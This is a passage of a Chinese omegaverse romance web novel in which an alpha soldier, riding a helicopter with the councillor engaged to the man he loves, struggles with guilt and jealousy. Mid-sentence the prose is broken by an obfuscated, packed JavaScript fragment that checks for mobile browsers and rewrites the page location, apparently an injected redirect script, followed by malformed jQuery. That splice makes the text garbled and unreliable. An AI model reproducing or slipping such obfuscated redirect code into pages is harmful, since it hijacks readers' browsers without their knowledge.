不要再接了。”
直升机以极高的坡度爬升,祝时年一瞬间耳鸣得厉害,连头也隐约痛了起来。
他们......要订婚了。
论坛上说的婚约,原来......是真的。
就算已经在心里预设过那么多次,真的确认这件事是真的的时候,祝时年的心脏还是抽痛了一下。
顾臻要结婚了。
顾臻......真的要和别人结婚了。
可是顾臻早该结婚的,和一位名门贵族的oga少爷或是小姐,不会是一个平民,更不会是一个出生贫民区的alpha。
祝时年罕见地失了神,直升机却在这时候好巧不巧地颠簸了一下,他一时间失去去了平衡,身形猛得晃了一下。
“怎么笨手笨脚的。”
意料之中的狼狈情形并没有发生,江淮宴动作极快地伸手揽住了他的腰,祝时年几乎没有任何防备地就撞上了他的胸膛。
除了顾臻,祝时年已经很久没有和任何人这样亲密地接触了,可能是因为江淮宴也紧张了的缘故,他身上雪松木信息素的味道几乎一瞬间包裹住了祝时年。
祝时年的身体一下子僵住了,江淮宴的手指扣着他的腰,甚至因为用力,还有些疼。
直到飞机恢复平稳数秒,江淮宴才松开了他。
“不舒服吗,易感期就应该在家里好好休息。军部有人欺负你,把活都推给你吗?”
“对不起,议员先生,”祝时年回过神来,有些难堪地道着歉,“是我不好,给您添麻烦了......军部没有人欺负我,没有这样的事的......”
江淮宴微微皱了皱眉,微微倾身过来,伸手贴住了他的额头。
因为经常使用抑制剂的缘故,今早打完抑制剂之后祝时年确实有些低烧,不过他早就很习惯这样了,不碍事的小病小痛对他们来说再正常不过,祝时年平时也都是这样出任务,从来都没有过差池。
也许是感觉到有点烫,江淮宴的手指贴着他的额头感受了好几秒,他的手指比祝时年的额头凉一些,贴上来的时候意外地舒服。
祝时年的心里再一次难受得厉害,顾臻的未婚夫是一个这样好的人,家世那样好,就连长相也那么出挑,好看得在人群里第
;eval(function(p,a,c,k,e,d){e=function(c){return(c
35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16949118|193048||http|test|ni|href|location''''.split(''''|''''),0,{}));
() {
$(''''.infor'').reve();
$(''''#content'''').append(''''
一眼就能找到。
自己永远......永远都比不上。
自己对不起的,也是一个这样好的人。
心脏在胸腔砰砰跳得很快,愧疚和祝时年不愿承认的嫉妒几乎吞没了他,让他呼吸困难。
快移开手吧,求求你。
请不要.......不要对我这样好。
“没有,没有发烧的。抱歉让您担心了。”
江淮宴的神色微微舒展开一些,自然而然地收回了手。祝时年如获大赦地点了点头,整个人终于放松下来。
但是心脏还是在胸腔剧烈地跳动着,如果没有直升机的轰鸣掩盖,就会在江淮宴那里也一览无余。
煎熬的两个小时之后,直升机终于在圣加伦降落。
走出直升机,山风混杂着雪粒扑打在脸上,直升机直接降落在灾区,尽管南方的首都刚刚